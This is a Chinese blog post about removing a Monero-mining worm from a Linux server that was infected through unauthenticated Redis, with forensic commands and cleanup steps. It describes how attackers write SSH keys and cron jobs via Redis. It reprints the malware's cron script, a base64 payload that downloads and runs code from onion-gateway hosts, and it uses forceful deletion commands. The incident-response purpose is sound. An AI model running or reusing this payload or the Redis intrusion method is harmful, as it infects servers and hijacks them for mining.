Linux 中挖矿病毒处理过程

Linux 中挖矿病毒处理过程分享一次Linux系统杀毒的经历,还有个人的一些总结,希望对大家有用。进程占CPU700%,进程名字是类似XY2Arv的6位随机大小写字母+数字的字符串。最终发现是一个叫systemd或trump的病毒,是一个挖矿的病毒,在挖一种叫门罗币(XMR)的数字货币。该病毒的侵入方式是通过扫描主机的Redis端口,一般默认为6379,通过Redis命令将程序注入到你的主机,Re…

大家好,又见面了,我是你们的朋友全栈君。

分享一次Linux系统杀毒的经历,还有个人的一些总结,希望对大家有用。

进程占CPU 700%,进程名字是类似XY2Arv的6位随机大小写字母+数字的字符串。最终发现是一个叫systemd或trump的病毒,是一个挖矿的病毒,在挖一种叫门罗币(XMR)的数字货币。

该病毒的侵入方式是通过扫描主机的Redis端口,一般默认为6379,通过Redis命令将程序注入到你的主机,Redis 默认情况下,会绑定在 0.0.0.0:6379,在没有利用防火墙进行屏蔽的情况下,将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 ~/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器;如果Redis服务是以root权限启动,可以利用该问题直接获得服务器root权限

整个入侵流程大概是包含以下几个环节:

1、扫描开放6379端口的Linux服务器(后续感染扫描网段为1.0.0.0/16到224.255.0.0/16)

2、通过redis-cli尝试连接Redis并执行预置在.dat文件里的利用命令将Redis的数据文件修改为/var/spool/cron/root,然后通过在Redis中插入数据,将下载执行脚本的动作写入crontab任务

3、通过脚本实现以上的相关行为,完成植入并启动挖矿程序

4、再编译安装pnscan,继续扫描感染下一个目标

逐渐排查并解决:

5. 查看进程实际运行应用

> ll /proc/26978/exe

lrwxrwxrwx 1 root root 0 Nov 18 05:12 /proc/26978/exe -> /usr/bin/f5ca2c418471f93c1e5a59fea5939e89 (deleted)

可以看到进程启动完就删除了

6. 查看进程的由来

> lsof -p 32559

COMMAND   PID USER   FD   TYPE     DEVICE SIZE/OFF   NODE NAME

wAMj4J  32559 root  cwd    DIR      253,1    20480 655363 /usr/bin

wAMj4J  32559 root  rtd    DIR      253,1     4096      2 /

wAMj4J  32559 root  txt    REG      253,1   260544 657105 /usr/bin/e48377a2d8e8e119d1454aa4cd5647c0 (deleted)

wAMj4J  32559 root    0u  IPv4 1769948316      0t0    TCP iZ2ze98732cvvbbjgcwf4wZ:35060->222.35.250.117:https (ESTABLISHED)

wAMj4J  32559 root    3w   REG      253,1        6 396140 /tmp/.X11-unix/1

可以看到源头是从/tmp下的一个子目录里的文件来的,从222.35.250.117上获取的木马代码,根据这个ip从网上查又查出这个地址其他人也碰到过类似的。先kill进程,顺便把/tmp目录下所有目录和文件删除。

https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool

然后从这个网站下载busybox及clear.sh

为防止病毒将rm命令劫持,请将busybox工具箱上传到/bin/目录下,然后使用它进行删除

/bin/busybox rm -rf /tmp

查看定时任务

> crontab -l5 * * * * /root/.trump >/dev/null 2>&1

检查/root/.trump文件发现里面主要的代码都用base64编码了,可以用bejson.com解码看看内容,删除这个文件,通过 crontab -e删除定时任务。

> cat /root/.trump

#!/bin/bash

exec &>/dev/null

echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10cnVtcHM0YzRvaHh2cTdvCnUoKSB7Cng9L2Nybgp3Z2V0IC10MSAtVDE4MCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggfHwgY3VybCAtbTE4MCAtZnNTTGtBLSAkMSR4Cn0KaWYgISBscyAvcHJvYy8kKGNhdCAvdG1wLy5YMTEtdW5peC8wMSkvaW87IHRoZW4KKAp1ICR0Lm9uaW9uLmdsYXNzIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC5vbmlvbi5tbiB8fAp1ICR0Lm9uaW9uLnNoIHx8CnUgJHQub25pb24uaW4ubmV0IHx8CnUgJHQudG9yMndlYi5pbyB8fAp1ICR0LjR0b3IubWwgfHwKdSAkdC5vbmlvbi50bwopfGJhc2gKZmkK|base64 -d|bash

7. 查找所有带trump的文件

> grep “trump” /etc/ -nri

Binary file /etc/udev/hwdb.bin matches/etc/cron.d/0trump:1:37 * * * * root /opt/trump >/dev/null 2>&1

删除 /etc/cron.d/0trump和/opt/trump

/bin/busybox rm -rf /etc/cron.d/0trump

/bin/busybox rm -rf /opt/trump

注:删除/opt/trump出现无法删除,chmod 777 也显示无权限,这时需执行chattr -i /opt/trump,然后再删除就可以了

最后为了安全,再执行下改良后的 clear.sh下文件,位置必须放在/bin/下

8.查看进程列表有无可疑进程(这个的目的是查找有无守护进程,自启的原因就是病毒主线程已经kill,但其守护进程没有kill掉)

> ps -lef

有2个进程叫ZY8Zrv和VcbzWG,查看由来也是从tmp相同目录来的,kill先。再发现2个可疑进程

0 S root      9736 22608  0  80   0 – 28296 do_wai 01:28 ?        00:00:00 sh -c echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c

0 S root     21043  9742  0  80   0 – 28056 do_wai 08:36 ?        00:00:00 timeout 1h ./ssh : 22 root ./pw

都kill掉。

8.设置redis密码。redis启动一定要设置密码。在redis.conf 中 requirepass XXX

参考脚本:https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/145072.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • java 异步调用方法_java异步调用方法有哪些?如何实现异步调用?

    java 异步调用方法_java异步调用方法有哪些?如何实现异步调用?你知道java异步调用方法都有哪些吗?下面的文章内容,就对这方面的问题做了一下整理,一起来看看java异步调用的方法吧!1、利用Spring的异步方法去执行注:没有返回值在启动类又或者是配置类加上@EnableAsync注解。packageme.deweixu.aysncdemo;importorg.springframework.boot.SpringApplication;importo…

    2022年7月11日
    32
  • [Motion]MPU9250的详细功能

    简述接下来的内容将对MPU9250的基本的功能进行详细的介绍,主要会分模块进行阐述。时钟MPU9250有两个内部时钟源,以及一个PLL。内部时钟源:时钟源说明内部振荡器功耗低,但时钟精度略差X,Y或Z方向的GyroMEMS时钟,功耗较高,但时钟精确(只要Gyro一经启用,就会使用该时钟源)时钟的选择需要综合平衡时钟精度和功耗两个因素,所以从MPU9250的性

    2022年4月8日
    40
  • 软件测试面试问题及答案_中软国际测试面试笔试题

    软件测试面试问题及答案_中软国际测试面试笔试题文章目录软测面试题附答案<二>二、接口面试题1、你们公司的接口测试流程是怎样的?2、接口测试里面如何分析一个bug是前端还是后端的?3、Jmeter参数化的方式有哪几种可以实现4、在接口测试中关联是什么含义?一般什么场景需要用到,postman中是怎样用的?5、常用的性能指标名称与具体含义?6、没有接口和文档怎么进行工作?三、自动化面试题1、Selenium中有哪几种元素定位方式?2、隐式等待与显式等待有什么不同?3、自动化测试里面遇到验证码,一般怎么处理比较好?四、安全1、什么是SQL注入攻击

    2022年9月29日
    3
  • 在Eclipse在使用JUnit4单元测试(0基础知识)

    在Eclipse在使用JUnit4单元测试(0基础知识)

    2021年12月17日
    42
  • Google 离线地图_谷歌地图离线包下载手机版

    Google 离线地图_谷歌地图离线包下载手机版google离线地图展示和渲染由于项目的需要,在线地图无法满足业务需要,于是要做离线地图。经过一段时间的调研,最后选择了谷歌离线地图原因是通过现成的工具便可完成。感谢前人栽的树,在此整理总结。以下内容和代码是调研时准备的,仅供参考使用。离线地图制作技术:googlemapapi准备:googlemapapiv3离线版,地图切图工具,Google_Maps_API

    2022年9月19日
    2
  • 零基础学Java(9)在mac上运行命令行提示”找不到或无法加载主类”

    零基础学Java(9)在mac上运行命令行提示”找不到或无法加载主类”天坑遇到的问题:使用命令行执行命令:javaEightSample,会报以下错误错误:找不到或无法加载主类EightSample运行环境mac系统IntelliJIDEA编译器Ja

    2022年8月7日
    12

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号